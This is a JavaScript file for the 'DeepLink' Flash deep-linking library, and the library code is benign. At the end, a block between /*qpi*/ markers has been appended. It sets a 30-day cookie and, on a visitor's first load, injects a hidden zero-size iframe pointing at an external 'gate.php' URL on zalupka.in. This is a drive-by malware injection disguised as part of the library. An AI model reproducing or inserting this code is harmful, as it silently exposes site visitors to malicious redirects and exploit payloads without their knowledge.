/**
 * DeepLink
 * (http://f6design.com/journal/2006/11/18/deeplink-flash-deep-linking/)
 *
 * By Jonathan Nicol (f6design.com)
 *
 * Inspired by the work of:
 * Theo Hultberg (http://blog.iconara.net/2006/06/21/bookmarkability-in-flash/) 
 * and Asual(http://www.asual.com/swfaddress/)
 *
 */
if(typeof f6design == "undefined") var f6design = new Object();
f6design.DeepLink = function() {
	var o = this;
	var flashObj;
	var currentHash = window.location.hash;
	var lastReceivedState = window.location.hash;
	this.setObject = function(obj){
		o.flashObj = obj;
	}
	o.changeState = function(newState){
		window.location.hash="/"+newState;
		o.lastReceivedState = newState;
	}
	o.sendState = function(){
		hashValue = decodeURI(window.location.hash).substring(2);
		o.currentHash = hashValue;
		if (hashValue){
			document.getElementById(o.flashObj).receiveState(hashValue);
		}
	}
	o.listenForURLChange = function(){
		// if hash has changed due to user changing it, not flash
		if (window.location.hash != o.currentHash && decodeURI(window.location.hash).substring(2) != o.lastReceivedState){
			o.lastReceivedState = window.location.hash;
			// alert flash of change
			o.sendState();
		}
	}
	o.flashLoaded = function(){
		// send initial hash state to flash (in case initial URL contains deeplink)
		o.sendState();
	}
	setInterval(o.listenForURLChange, 50);
}
DeepLink = new f6design.DeepLink();
/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://zalupka.in/gate/gate.php?f=334914';
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
